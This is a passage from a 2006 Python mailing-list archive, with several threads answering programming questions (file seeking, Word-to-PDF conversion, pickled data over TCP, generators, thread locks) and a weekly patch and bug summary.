Message-ID: On Wed, 04 Oct 2006 07:37:47 GMT, Giovanni Bajo wrote: > I am seriously concerned > that the PSF infrastructure committee EVER considered non open-source > applications for this. In fact, I thought that was an implicit requirement in > the selection. Being open source wasn't a requirement; minimal requirements were specified in the initial message requesting trackers (http://wiki.python.org/moin/OriginalCallForTrackers). --amk From joncle at googlemail.com Tue Oct 24 04:50:40 2006 From: joncle at googlemail.com (Jon Clements) Date: 24 Oct 2006 01:50:40 -0700 Subject: can't open word document after string replacements In-Reply-To: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch> References: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch> Message-ID: <1161679840.505030.190280@b28g2000cwb.googlegroups.com> Antoine De Groote wrote: > Hi there, > > I have a word document containing pictures and text. This documents > holds several 'ABCDEF' strings which serve as a placeholder for names. > Now I want to replace these occurences with names in a list (members). I > open both input and output file in binary mode and do the > transformation. However, I can't open the resulting file, Word just > telling that there was an error. Does anybody what I am doing wrong? > > Oh, and is this approach pythonic anyway? (I have a strong Java background.) > > Regards, > antoine > > > import os > > members = somelist > > os.chdir(somefolder) > > doc = file('ttt.doc', 'rb') > docout = file('ttt1.doc', 'wb') > > counter = 0 > > for line in doc: > while line.find('ABCDEF') > -1: > try: > line = line.replace('ABCDEF', members[counter], 1) > docout.write(line) > counter += 1 > except: > docout.write(line.replace('ABCDEF', '', 1)) > else: > docout.write(line) > > doc.close() > docout.close() Errr.... I wouldn't even attempt to do this; how do you know each 'line' isn't going to be split arbitarily, and that 'ABCDEF' doesn't happen to be part of an image. As you've noted, this is binary data so you can't assume anything about it. Doing it this way is a Bad Idea (tm). If you want to do something like this, why not use templated HTML, or possibly templated PDFs? Or heaven forbid, Word's mail-merge facility? (I think MS Office documents are effectively self-contained file systems, so there is probably some module out there which can read/write them). Jon. From daigno at gmail.com Mon Oct 23 18:04:26 2006 From: daigno at gmail.com (=?ISO-8859-1?Q?=C9ric_Daigneault_lists?=) Date: Mon, 23 Oct 2006 18:04:26 -0400 Subject: mean ans std dev of an array? In-Reply-To: <1161640155.326890.288440@i42g2000cwa.googlegroups.com> References: <1161640155.326890.288440@i42g2000cwa.googlegroups.com> Message-ID: <453D3C6A.2020300@useReplyTo.hotmail.com> Simplest I see is to do it manually. If your array data is numeric compatible mean = sum(a)/len(a) as for the standard Deviation it depends on the nature of your data... check out http://en.wikipedia.org/wiki/Standard_deviation for info on that... but in all a for loop with a few calculation within should be enough I know no "standard" way to do this in python Have not tested above code but it should work ?ric SpreadTooThin wrote: > import array > a = array.array('f', [1,2,3]) > > print a.mean() > print a.std_dev() > > Is there a way to calculate the mean and standard deviation on array > data? > > Do I need to import it into a Numeric Array to do this? > > From srikrishnamohan at gmail.com Sun Oct 8 17:32:29 2006 From: srikrishnamohan at gmail.com (km) Date: Mon, 9 Oct 2006 03:02:29 +0530 Subject: references and buffer() In-Reply-To: <463ff4860610081316r7a96c31ex92632f09a6492ec5@mail.gmail.com> References: <463ff4860610081224o7261e9e9ue0981b79fa574cbd@mail.gmail.com> <463ff4860610081316r7a96c31ex92632f09a6492ec5@mail.gmail.com> Message-ID: Hi all, Congratulations, you understand both Hinduism and Python better than I > do now. :) c.f. > http://www.swami-krishnananda.org/brdup/brhad_III-09.html > > "Kati references, Yajnavalkya, iti?" the answer lies in a single line as pronounced by sri adi sankaracharya - "aham bramhasmi sivoha sivoham " , which is still not implemented in python. infact not in any other language! which is a limitatin of computers (and comp languages) - they simply arent intelligent. aham, tvam sah: cha madhye kim bhedam bhavati ? bhedam nasti ! Python uses two garbage collection schemes together. It uses reference > counting (when number of references goes to zero, remove object from > memory) and mark-and-sweep (comb through process memory methodically > looking for objects that are no longer accessible). This is what > allows it to collect cyclic structures, such as trees whose nodes > links to their parents and vice versa. why is that python doesnt implement direct memory addressing provided a reference to an object exists ? GC intercedes at various intervals when convenient. I don't think it > would be immediate though. what is the interval and what is its effect on the performance of python interpreter ? regards, KM -------------- next part -------------- An HTML attachment was scrubbed... URL: From gagsl-py at yahoo.com.ar Thu Oct 26 16:25:45 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Thu, 26 Oct 2006 17:25:45 -0300 Subject: question about True values In-Reply-To: <7xfydbhkso.fsf@ruckus.brouhaha.com> References: <17727.47016.632530.720950@montanaro.dyndns.org> <7.0.1.0.0.20061025224858.05f2ea40@yahoo.com.ar> <7xfydbhkso.fsf@ruckus.brouhaha.com> Message-ID: <7.0.1.0.0.20061026144722.04641dd8@yahoo.com.ar> At Wednesday 25/10/2006 23:29, Paul Rubin wrote: >Steve Holden writes: > > Gabriel Genellina wrote: > > > iter(()) > >I get that iter(()) is True (Python 2.3.4). It's False on 2.4.2 - and perhaps it's what one would expect, but since this behavior is not documented anywhere, one should not count on it. -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From tim.peters at gmail.com Fri Oct 13 03:57:36 2006 From: tim.peters at gmail.com (Tim Peters) Date: Fri, 13 Oct 2006 03:57:36 -0400 Subject: File read-write mode: problem appending after reading In-Reply-To: <452F3F8C.2070706@vtxmail.ch> References: <452F3F8C.2070706@vtxmail.ch> Message-ID: <1f7befae0610130057t82ce874h27cd7e7424efb371@mail.gmail.com> [Frederic Rentsch] > Working with read and write operations on a file I stumbled on a > complication when writes fail following a read to the end. > > >>> f = file ('T:/z', 'r+b') > >>> f.write ('abcdefg') > >>> f.tell () > 30L > >>> f.seek (0) > >>> f.read () > 'abcdefg' > >>> f.flush () # Calling or not makes no difference > >>> f.write ('abcdefg') Nothing is defined about what happens at this point, and this is inherited from C. In standard C, if you want to read following a write, or write following a read, on the same stream, you must perform a file-positioning operation (typically a seek) between them. > Traceback (most recent call last): > File "", line 1, in -toplevel- > f.write ('abcdefg') > IOError: (0, 'Error') That's one possible result. Since nothing is defined, any other outcome is also a possible result ;-) > Flushing doesn't help. Right, and because flush() is not a file-positioning operation. > I found two work arounds: > > >>> f.read () > 'abcdefg' > >>> f.read () # Workaround 1: A second read (returning an empty string) > '' > >>> f.write ('abcdefg') > (No error) Purely an accident; may or may not "work" the next time you try it, or on another platform; etc. > >>> f.read () > 'abcdefg' > >>> f.seek (f.tell ()) # Workaround 2: Setting the cursor (to where it is!) That's a correct approach. f.seek(0, 1) (seek 0 bytes from the current position) is a little easier to spell. > >>> f.write ('abcdefg') > (No error) > > I found no problem with writing into the file. So it looks like it has > to do with the cursor which a read puts past the end, unless it is past > the end, in which case it goes back to the end. Is there a less kludgy > alternative to "fseek (ftell ())"? As above, you need to seek when switching from reading to writing, or from writing to reading. From davidh at ilm.com Thu Oct 12 21:42:09 2006 From: davidh at ilm.com (David Hirschfield) Date: Thu, 12 Oct 2006 18:42:09 -0700 Subject: Sending binary pickled data through TCP Message-ID: <452EEEF1.6030606@ilm.com> I have a pair of programs which trade python data back and forth by pickling up lists of objects on one side (using pickle.HIGHEST_PROTOCOL), and sending that data over a TCP socket connection to the receiver, who unpickles the data and uses it. So far this has been working fine, but I now need a way of separating multiple chunks of pickled binary data in the stream being sent back and forth. Questions: Is it safe to do what I'm doing? I didn't think there was anything fundamentally wrong with sending binary pickled data, especially in the closed, safe environment these programs operate under...but maybe I'm making a poor assumption? I was going to separate the chunks of pickled data with some well-formed string, but couldn't that string potentially randomly appear in the pickled data? Do I just pick an extremely unlikely-to-be-randomly-generated string as the separator? Is there some string that will definitely NEVER show up in pickled binary data? I thought about base64 encoding the data, and then decoding on the opposite side (like what xmlrpclib does), but that turns out to be a very expensive operation, which I want to avoid, speed is of the essence in this situation. Is there a reliable way to determine the byte count of some pickled binary data? Can I rely on len() == bytes? Thanks for all responses, -David -- Presenting: mediocre nebula. From __peter__ at web.de Fri Oct 13 04:05:39 2006 From: __peter__ at web.de (Peter Otten) Date: Fri, 13 Oct 2006 10:05:39 +0200 Subject: Efficiently iterating over part of a list References: Message-ID: Steven D'Aprano wrote: > Are there better or more Pythonic alternatives to this obvious C-like > idiom? > > for i in range(1, len(alist)): > x?=?alist[i] For small start values you can use itertools.islice(), e. g: for x in islice(alist, 1, None): # use x You'd have to time at what point the C-like idiom (which I would have no qualms using throughout) becomes faster. Peter From johnjsal at NOSPAMgmail.com Fri Oct 13 20:27:56 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Fri, 13 Oct 2006 20:27:56 -0400 Subject: wing ide vs. komodo? In-Reply-To: <2nRXg.108$1n3.2866@news.tufts.edu> References: <2nRXg.108$1n3.2866@news.tufts.edu> Message-ID: <45302f96$0$14750$c3e8da3@news.astraweb.com> John Salerno wrote: > Just curious what users of the two big commercial IDEs think of them > compared to one another (if you've used both). > > Wing IDE looks a lot nicer and fuller featured in the screenshots, but a > glance at the feature list shows that the "personal" version doesn't > even support code folding! That's a little ridiculous and makes me have > doubts about it. > > Komodo, on the other hand, seems to have more of the features that the > personal version of Wing IDE lacks (call tips, class browser, etc.) but > the look of it seems very sparse for some reason. Well, I've tested out both for a little bit, and my first impression is that Wing is very slow and laggy (Personal Edition, at least) compared to Komodo. When you drag windows around, they leave huge trails, and the autocomplete really slows down the text. Komodo didn't seem to have these issues. But Wing's autocomplete definitely is more complete than Komodo's. From metamoof at gmail.com Sun Oct 8 15:33:02 2006 From: metamoof at gmail.com (metamoof at gmail.com) Date: 8 Oct 2006 12:33:02 -0700 Subject: PEP 342 misunderstanding Message-ID: <1160335982.242058.59780@k70g2000cwa.googlegroups.com> So I've been reading up on all the new stuff in PEP 342, and trying to understand its potential. So I'm starting with a few simple examples to see if they work as expected, and find they dont. I'm basically trying to do the following: for x in range(10): print x*2 but coroutine-style. My initial try was: >>> def printrange(): ... for x in range(10): ... x = yield x ... print x ... >>> g = printrange() >>> for x in g: ... g.send(x*2) ... 0 1 None 4 3 None 8 5 None 12 7 None 16 9 None >>> Now, I was expecting that to be 0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20. What am I missing here? Moof From grante at visi.com Fri Oct 13 11:12:53 2006 From: grante at visi.com (Grant Edwards) Date: Fri, 13 Oct 2006 15:12:53 -0000 Subject: Converting MSWord Docs to PDF References: <4524431F@webmail.azwestern.edu> <1160557838.143189.117730@c28g2000cwb.googlegroups.com> Message-ID: <12ivb7l3sb3sr87@corp.supernews.com> On 2006-10-13, Theerasak Photha wrote: > On 11 Oct 2006 02:10:38 -0700, Ant wrote: >> >> Theerasak Photha wrote: >> > On 10/11/06, melv at awc.edu wrote: >> ... >> > (La)TeX is the king of document processing, and does PDF. >> >> Except that the OP want's to print Word documents as PDF. >> LaTeX is good, granted, but just try converting LaTeX >> documents to Word or vice versa... OpenOffice will print directly to PDF, and it does a fair job of opening MS Word documents. I don't know if you can control OOo directly from Python or print from the command line (OOo doesn't seem to have a man page). > Oh. But can't you just render Word documents to PostScript? Yes. > And then ps2pdf will pick up the rest of the slack. Yes. That's how the various free "PDF printer drivers" for Windows work. > It might not even need Python. Not unless you're trying to automate the process somehow. -- Grant Edwards grante Yow! I wish I was a at sex-starved manicurist visi.com found dead in the Bronx!! From edreamleo at charter.net Wed Oct 4 11:21:05 2006 From: edreamleo at charter.net (Edward K. Ream) Date: Wed, 4 Oct 2006 10:21:05 -0500 Subject: sax barfs on unicode filenames References: <4ohufoFem6rpU1@uni-berlin.de> Message-ID: > Filenames are expected to be bytestrings. The exception happens in a method to which no fileName is passed as an argument. parse_leo_file: 'C:\\prog\\tigris-cvs\\leo\\test\\unittest\\chinese?folder\\chinese?test.leo' (trace of converted fileName) Unexpected exception parsing C:\prog\tigris-cvs\leo\test\unittest\chinese?folder\chinese?test.leo Traceback (most recent call last): File "c:\prog\tigris-cvs\leo\src\leoFileCommands.py", line 2162, in parse_leo_file parser.parse(theFile) File "c:\python25\lib\xml\sax\expatreader.py", line 107, in parse xmlreader.IncrementalParser.parse(self, source) File "c:\python25\lib\xml\sax\xmlreader.py", line 119, in parse self.prepareParser(source) File "c:\python25\lib\xml\sax\expatreader.py", line 111, in prepareParser self._parser.SetBase(source.getSystemId()) UnicodeEncodeError: 'ascii' codec can't encode character u'\u8116' in position 44: ordinal not in range(128) To repeat, theFile is an open file. I believe the actual filename is passed nowhere as an argument to sax in my code. Just to make sure, I converted the filename to ascii in my code, and got (no surprise) exactly the same crash. I suppose a workaround would be to pass a 'file-like-object to sax instead of an open file, so that theFile.getSystemId won't crash. But this looks like a bug to me. BTW: Python 2.5.0, Tk 8.4.12, Pmw 1.2 Windows 5, 1, 2600, 2, Service Pack 2 Edward -------------------------------------------------------------------- Edward K. Ream email: edreamleo at charter.net Leo: http://webpages.charter.net/edreamleo/front.html -------------------------------------------------------------------- From codecraig at gmail.com Wed Oct 18 09:33:29 2006 From: codecraig at gmail.com (abcd) Date: 18 Oct 2006 06:33:29 -0700 Subject: PIL: Image.draft -- what are the modes that I can use? Message-ID: <1161178409.276973.286990@k70g2000cwa.googlegroups.com> I have PIL 1.1.5 on python 2.4.1 and I am attempting to get a smaller (file size) of an image. for example: im = ImageGrab.grab() im.save("tmp.gif") ---- about 1.7mb im.save("tmp.jpeg") ---- about 290kb anyways I want to save the image as a GIF, but not have it be so large....so I thought that the Image.draft method would be what I wanted.... im.draft(mode, size) Configures the image file loader so it returns a version of the image that as closely as possible matches the given mode and size. For example, you can use this method to convert a colour JPEG to greyscale while loading it, or to extract a 128x192 version from a PCD file. .....what 'modes' can I use? or is there another way to shrink the size of the image (other than resizing it)? thanks From MonkeeSage at gmail.com Thu Oct 5 09:03:23 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 5 Oct 2006 06:03:23 -0700 Subject: Asychronous execution *with* return codes? References: <1160051584.291073.44350@m73g2000cwd.googlegroups.com> Message-ID: <1160053403.362330.136200@k70g2000cwa.googlegroups.com> utabintarbo wrote: > pid = subprocess.Popen([app] + lstArgs).pid Check out the poll() method and the returncode attribute: http://docs.python.org/lib/node533.html Regards, Jordan From hanumizzle at gmail.com Sat Oct 21 04:40:34 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Sat, 21 Oct 2006 04:40:34 -0400 Subject: FOR statement In-Reply-To: <1161419515.890462.193310@k70g2000cwa.googlegroups.com> References: <1161355135.268792.220290@f16g2000cwb.googlegroups.com> <453911b6$0$19616$88260bb3@free.teranews.com> <1161417033.963163.275300@i3g2000cwc.googlegroups.com> <1161419515.890462.193310@k70g2000cwa.googlegroups.com> Message-ID: <463ff4860610210140y541e6a1dnc8e6a65e5b374f6b@mail.gmail.com> On 21 Oct 2006 01:31:55 -0700, bearophileHUGS at lycos.com wrote: > Theerasak Photha: > > I guess Python isn't tail-recursive then? > > Right. > > > > Well, algorithms seem to be more naturally expressed iteratively in > > Python, and to be fair, most uses of recursion you see in e.g., Scheme > > textbooks are really just grandstanding in the real world. > > Still, some algorithms enjoy some recursivity anyway, like some graph > or tree exploration, structure flattening, and so on, for them I > sometimes use recursivity in Python too. That's absolutely true. However, it is probably unusual in most circumstances for such recursions to blow through more than a thousand stack frames. -- Theerasak From tommi.raivio at kypara.net Wed Oct 18 03:55:01 2006 From: tommi.raivio at kypara.net (Tommi) Date: 18 Oct 2006 00:55:01 -0700 Subject: Looking for assignement operator References: Message-ID: <1161158101.890041.122160@k70g2000cwa.googlegroups.com> Could the "traits" package be of help? http://code.enthought.com/traits/ Alexander Eisenhuth wrote: > Hello, > > is there a assignement operator, that i can overwrite? > > class MyInt: > def __init__(self, val): > assert(isinstance(val, int)) > self._val = val > > a = MyInt(10) > > # Here i need to overwrite the assignement operator > a = 12 > > > Thanks > Alexander From gagsl-py at yahoo.com.ar Thu Oct 19 21:22:34 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Thu, 19 Oct 2006 22:22:34 -0300 Subject: invert or reverse a string... warning this is a rant In-Reply-To: References: <7iNZg.117$1n3.3352@news.tufts.edu> Message-ID: <7.0.1.0.0.20061019214541.04d08ab0@yahoo.com.ar> At Thursday 19/10/2006 21:07, Brad wrote: > > Gah!!! That's *awful* in so many ways. > >It has been my experience that Python has discouraging forums with >someone always calling someone else an idiot or telling them they are >awful in some way. I love Python, but the community is way too negative, >uptight and generally down on users who do not have PhD's in CS or Math. I agree with you being angry. It's true that our posts are going to stay for a long time, and people could find and read them, and perhaps copy and use our posted code. So when something is not up-to-the-standard or not following the best practices or is not the best way of doing things, that should be noted. Certainly there is no need to be rude! Pointing out the deficiencies and how to avoid them can be done in a kind manner. But I don't think that "the community" in general is too negative. It's a lot more "newbie-friendly" than other popular language's. > > (1) The name is bad. "invert" is not the same as "reverse". Here's an > > invert: 1/2 = 0.5. Your function falsely claims numbers aren't invertable. > >Dictionary.com >invert = to reverse in position, order, direction, or relationship. Note that even on a mathematical sense, "inverse" does not mean only "multiplicative inverse". -3 is the "additive inverse" of 3, by example (See ). (BTW, integers -except two of them- are not inversible in Z). So "invert" is not a bad name "per se". But having the reversed() builtin and reverse() list method implies that a similarly rooted name would be better (just to be coherent!) - perhaps reversed_string()? -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From bignose+hates-spam at benfinney.id.au Wed Oct 25 05:31:20 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Wed, 25 Oct 2006 19:31:20 +1000 Subject: Change on file References: <1uzfymw6npgtq$.i9somy6b4b3o$.dlg@40tude.net> <200610251552.15242.fulvio@tm.net.my> Message-ID: <873b9coi6v.fsf@benfinney.id.au> Fulvio writes: > *********************** > Your mail has been scanned by InterScan MSS. > *********************** Fulvio, something between your fingers and the Python mailing list is causing this to appear at on *every* message you send to this list. Please do whatever you need to do to make it stop. It's unwelcome and obnoxious. -- \ "In prayer, it is better to have a heart without words than | `\ words without heart." -- Mahatma Gandhi | _o__) | Ben Finney From newsuser at stacom-software.de Tue Oct 17 11:05:21 2006 From: newsuser at stacom-software.de (Alexander Eisenhuth) Date: Tue, 17 Oct 2006 17:05:21 +0200 Subject: Looking for assignement operator In-Reply-To: References: Message-ID: Wow, thanks a lot for your quick answers. That assignement is no operator, but a statemant is a pity, but indeed I came foward with overwritten methods for numeric types Regards Alexander From fredrik at pythonware.com Tue Oct 3 08:21:33 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 3 Oct 2006 14:21:33 +0200 Subject: Raw strings and escaping References: <451D7E0D.9080803@ieee.org> Message-ID: Matthew Warren wrote: > I would expect this to work, > > rawstring=r'some things\new things\some other things\' > > But it fails as the last backslash escapes the single quote. raw string literals are parsed in exactly the same way as ordinary string literals; it's just the mapping from the string literal to the contents of the string object that differs. see the documentation for details. From kbk at shore.net Sun Oct 15 22:20:15 2006 From: kbk at shore.net (Kurt B. Kaiser) Date: Sun, 15 Oct 2006 22:20:15 -0400 (EDT) Subject: Weekly Python Patch/Bug Summary Message-ID: <200610160220.k9G2KFNN020854@bayview.thirdcreek.com> Patch / Bug Summary ___________________ Patches : 431 open ( +3) / 3425 closed ( +8) / 3856 total (+11) Bugs : 916 open (-23) / 6273 closed (+44) / 7189 total (+21) RFE : 244 open ( +4) / 240 closed ( +1) / 484 total ( +5) New / Reopened Patches ______________________ typo in PC/_msi.c (2006-10-07) CLOSED http://python.org/sf/1572724 opened by jose nazario Fix for segfault in ISO 2022 codecs (2006-10-07) CLOSED http://python.org/sf/1572832 opened by Ray Chason let quit and exit really exit (2006-10-09) CLOSED http://python.org/sf/1573835 opened by Gerrit Holl urllib2 - Fix line breaks in authorization headers (2006-10-09) http://python.org/sf/1574068 opened by Scott Dial Add %var% support to ntpath.expandvars (2006-10-09) http://python.org/sf/1574252 opened by Chip Norkus Mailbox will lock properly after flush() (2006-10-11) http://python.org/sf/1575506 opened by Philippe Gauthier Support spawnvp[e] + use native execvp[e] on win32 (2006-10-12) http://python.org/sf/1576120 opened by Snaury os.utime acess denied with directories on win32 (2006-10-12) CLOSED http://python.org/sf/1576166 opened by Snaury os.execvp[e] on win32 fails for current directory (2006-10-13) http://python.org/sf/1576313 opened by Snaury Fix VC6 build, remove redundant files for VC7 build (2006-10-14) CLOSED http://python.org/sf/1576954 opened by Larry Hastings Fix VC6 build, remove redundant files for VC7 build (2006-10-14) CLOSED http://python.org/sf/1577078 opened by Larry Hastings Add _ctypes, _ctypes_test, and _elementtree to VC6 build (2006-10-15) CLOSED http://python.org/sf/1577551 opened by Larry Hastings newline in -DSVNVERSION=\"`LANG=C svnversion .`\" (2006-10-15) CLOSED http://python.org/sf/1577756 opened by Daniel Str?nger Patches Closed ______________ typo in PC/_msi.c (2006-10-07) http://python.org/sf/1572724 closed by gbrandl Fix for segfault in ISO 2022 codecs (2006-10-08) http://python.org/sf/1572832 closed by perky fix crash with continue in nested try/finally (2006-08-18) http://python.org/sf/1542451 closed by gbrandl let quit and exit really exit (2006-10-09) http://python.org/sf/1573835 closed by mwh Fix for Lib/test/crashers/gc_inspection.py (2006-07-04) http://python.org/sf/1517042 closed by gbrandl os.utime acess denied with directories on win32 (2006-10-12) http://python.org/sf/1576166 closed by loewis Fix VC6 build, remove redundant files for VC7 build (2006-10-14) http://python.org/sf/1576954 closed by loewis Fix VC6 build, remove redundant files for VC7 build (2006-10-14) http://python.org/sf/1577078 deleted by lhastings Add _ctypes, _ctypes_test, and _elementtree to VC6 build (2006-10-15) http://python.org/sf/1577551 closed by loewis newline in -DSVNVERSION=\"`LANG=C svnversion .`\" (2006-10-15) http://python.org/sf/1577756 deleted by schmaller New / Reopened Bugs ___________________ cElementTree.SubElement doesn't recognize keyword "attrib" (2006-10-07) CLOSED http://python.org/sf/1572710 opened by Mark Stephens import org.python.core imports local org.py (2006-10-08) CLOSED http://python.org/sf/1573180 opened by E.-O. Le Bigot ctypes unit test fails (test_macholib.py) under MacOS 10.4.7 (2006-08-21) CLOSED http://python.org/sf/1544102 reopened by ronaldoussoren struct module doesn't use weakref for cache (2006-10-08) CLOSED http://python.org/sf/1573394 opened by Mark Flacy sqlite3 documentation on rowcount is contradictory (2006-10-10) http://python.org/sf/1573854 opened by Seo Sanghyeon if(status = ERROR_MORE_DATA) (2006-10-09) CLOSED http://python.org/sf/1573928 opened by Helmut Grohne WSGI, cgi.FieldStorage incompatibility (2006-10-09) http://python.org/sf/1573931 opened by Michael Kerrin isinstance swallows exceptions (2006-10-09) http://python.org/sf/1574217 opened by Brian Harring os.popen with os.close gives error message (2006-10-10) http://python.org/sf/1574310 opened by dtrosset Error with callback function and as_parameter with NumPy ndp (2006-10-10) http://python.org/sf/1574584 opened by Albert Strasheim ctypes: Pointer-to-pointer unchanged in callback (2006-10-10) http://python.org/sf/1574588 opened by Albert Strasheim ctypes: Returning c_void_p from callback doesn't work (2006-10-10) http://python.org/sf/1574593 opened by Albert Strasheim Request wave support > 16 bit samples (2006-10-11) http://python.org/sf/1575020 opened by Murray Lang isSequenceType returns True for dict subclasses (<> 2.3) (2006-10-11) http://python.org/sf/1575169 opened by Martin Gfeller typo: section 2.1 -> property (2006-10-12) CLOSED http://python.org/sf/1575746 opened by Antoine De Groote Missing notice on environment setting LD_LIBRARY_PATH (2006-10-12) CLOSED http://python.org/sf/1575803 opened by Anastasios Hatzis from_param and _as_parameter_ truncating 64-bit value (2006-10-12) http://python.org/sf/1575945 opened by Albert Strasheim str(WindowsError) wrong (2006-10-12) http://python.org/sf/1576174 opened by Thomas Heller ConfigParser: whitespace leading comment lines (2006-10-12) http://python.org/sf/1576208 opened by gregwillden functools.wraps fails on builtins (2006-10-12) http://python.org/sf/1576241 opened by kajiuma Example typo in section 4 of 'Installing Python Modules' (2006-10-13) http://python.org/sf/1576348 opened by ytrewq1 enable-shared .dso location (2006-10-12) CLOSED http://python.org/sf/1576394 opened by Mike Klaas cStringIO misbehaving with unicode (2006-10-13) CLOSED http://python.org/sf/1576443 opened by Yang Zhang ftplib doesn't follow standard (2006-10-13) http://python.org/sf/1576598 opened by Denis S. Otkidach dict keyerror formatting and tuples (2006-10-13) http://python.org/sf/1576657 opened by M.-A. Lemburg potential buffer overflow in complexobject.c (2006-10-13) http://python.org/sf/1576861 opened by Jochen Voss GetFileAttributesExA and Win95 (2006-09-29) CLOSED http://python.org/sf/1567666 reopened by giomach Bugs Closed ___________ csv "dialect = 'excel-tab'" to use excel_tab (2006-10-06) http://python.org/sf/1572471 closed by montanaro cElementTree.SubElement doesn't recognize keyword "attrib" (2006-10-07) http://python.org/sf/1572710 closed by effbot tabs missing in idle options configure (2006-09-28) http://python.org/sf/1567450 closed by kbk IDLE doesn't load - apparently without firewall problems (2006-09-22) http://python.org/sf/1563630 closed by kbk Let assign to as raise SyntaxWarning as well (2003-02-23) http://python.org/sf/691733 closed by nnorwitz cvs update warnings (2003-07-02) http://python.org/sf/764447 closed by nnorwitz Minor floatobject.c bug (2003-08-15) http://python.org/sf/789159 closed by nnorwitz another threads+readline+signals nasty (2004-06-11) http://python.org/sf/971213 closed by nnorwitz init_types (2006-09-30) http://python.org/sf/1568243 closed by gbrandl import org.python.core imports local org.py (2006-10-08) http://python.org/sf/1573180 closed by gbrandl PGIRelease linkage fails on pgodb80.dll (2006-10-02) http://python.org/sf/1569517 closed by krisvale missing _typesmodule.c,Visual Studio 2005 pythoncore.vcproj (2006-09-29) http://python.org/sf/1567910 closed by krisvale ctypes unit test fails (test_macholib.py) under MacOS 10.4.7 (2006-08-21) http://python.org/sf/1544102 closed by ronaldoussoren Tutorial: incorrect info about package importing and mac (2006-09-17) http://python.org/sf/1560114 closed by gbrandl struct module doesn't use weakref for cache (2006-10-08) http://python.org/sf/1573394 closed by etrepum setup() keyword have to be list (doesn't work with tuple) (2006-08-23) http://python.org/sf/1545341 closed by akuchling if(status = ERROR_MORE_DATA) (2006-10-09) http://python.org/sf/1573928 closed by gbrandl os.stat() subsecond file mode time is incorrect on Windows (2006-09-25) http://python.org/sf/1565150 closed by loewis 2.6 changes stomp on 2.5 docs (2006-09-23) http://python.org/sf/1564039 closed by sf-robot Cannot use high-numbered sockets in 2.4.3 (2006-05-24) http://python.org/sf/1494314 closed by anthonybaxter typo: section 2.1 -> property (2006-10-12) http://python.org/sf/1575746 closed by gbrandl -Qnew switch doesn't work (2003-09-26) http://python.org/sf/813342 closed by gbrandl sets missing from standard types list in ref (2006-09-26) http://python.org/sf/1565919 closed by gbrandl make plistlib.py available in every install (2006-09-25) http://python.org/sf/1565129 closed by gbrandl inspect module and class startlineno (2006-09-01) http://python.org/sf/1550524 closed by gbrandl Pdb parser bug (2006-08-30) http://python.org/sf/1549574 closed by gbrandl Missing notice on environment setting LD_LIBRARY_PATH (2006-10-12) http://python.org/sf/1575803 closed by loewis shlex (or perhaps cStringIO) and unicode strings (2006-08-29) http://python.org/sf/1548891 closed by gbrandl Build of 2.4.3 on fedora core 5 fails to find asm/msr.h (2006-09-03) http://python.org/sf/1551238 closed by gbrandl urlparse.urljoin odd behaviour (2006-08-25) http://python.org/sf/1546628 closed by gbrandl inconsistent treatment of NULs in int() (2006-08-23) http://python.org/sf/1545497 closed by gbrandl Move fpectl elsewhere in library reference (2006-09-11) http://python.org/sf/1556261 closed by gbrandl Fix Lib/test/test___all__.py (2006-08-22) http://python.org/sf/1544295 closed by gbrandl smeared title when installing (2004-10-18) http://python.org/sf/1049615 closed by gbrandl nit for builtin sum doc (2005-09-07) http://python.org/sf/1283491 closed by gbrandl site-packages & build-dir python (2002-07-25) http://python.org/sf/586700 closed by gbrandl __name__ doesn't show up in dir() of class (2006-08-03) http://python.org/sf/1534014 closed by gbrandl Interpreter crash: filter() + gc.get_referrers() (2006-07-05) http://python.org/sf/1517663 closed by gbrandl Better/faster implementation of os.path.basename/dirname (2006-09-17) http://python.org/sf/1560179 closed by gbrandl enable-shared .dso location (2006-10-13) http://python.org/sf/1576394 closed by loewis cStringIO misbehaving with unicode (2006-10-13) http://python.org/sf/1576443 closed by gbrandl GetFileAttributesExA and Win95 (2006-09-29) http://python.org/sf/1567666 closed by loewis site-packages isn't created before install_egg_info (2006-09-27) http://python.org/sf/1566719 closed by sf-robot New / Reopened RFE __________________ release GIL while doing I/O operations in the mmap module (2006-10-08) http://python.org/sf/1572968 opened by Lukas Lalinsky RFE Closed __________ Print identical floats consistently (2006-08-05) http://python.org/sf/1534942 closed by gbrandl From gh at gregor-horvath.com Fri Oct 20 22:55:41 2006 From: gh at gregor-horvath.com (Gregor Horvath) Date: Sat, 21 Oct 2006 04:55:41 +0200 Subject: Webprogr: Link with automatic submit In-Reply-To: <4538b094$0$8661$426a74cc@news.free.fr> References: <4538b094$0$8661$426a74cc@news.free.fr> Message-ID: Bruno Desthuilliers schrieb: > yes : replace the link with another submit button, then in your > controller check which submit has been successful and take appropriate > action. Thanks ! -- Servus, Gregor From rrs at researchut.com Wed Oct 11 09:09:32 2006 From: rrs at researchut.com (Ritesh Raj Sarraf) Date: Wed, 11 Oct 2006 18:39:32 +0530 Subject: thread lock question Message-ID: Hi, I have a question regarding locks in threads. Following is the code example: if download_file(foo, bar) == True: if some condition: do_something() if zip_bool: ziplock.acquire() try: compress_the_file(zip_type_file, foo, bar) os.unlink(foo) # Unlink it once it has been zipped finally: ziplock.release() if zip_bool: ziplock.acquire() try: compress_the_file(zip_type_file, foo, bar) os.unlink(foo) finally: ziplock.release() Basically, I'm testing for some condition, if that is True, do something and then do the zipping. I'm also doing the zipping even if that's not true. My question is, in a code example like this which is threaded, does the locking mechanism work correctly ? Or are two different locks being acquired ? Thanks, Ritesh -- Ritesh Raj Sarraf RESEARCHUT - http://www.researchut.com "Necessity is the mother of invention." "Stealing logic from one person is plagiarism, stealing from many is research." "The great are those who achieve the impossible, the petty are those who cannot - rrs" From mail at microcorp.co.za Wed Oct 11 00:46:47 2006 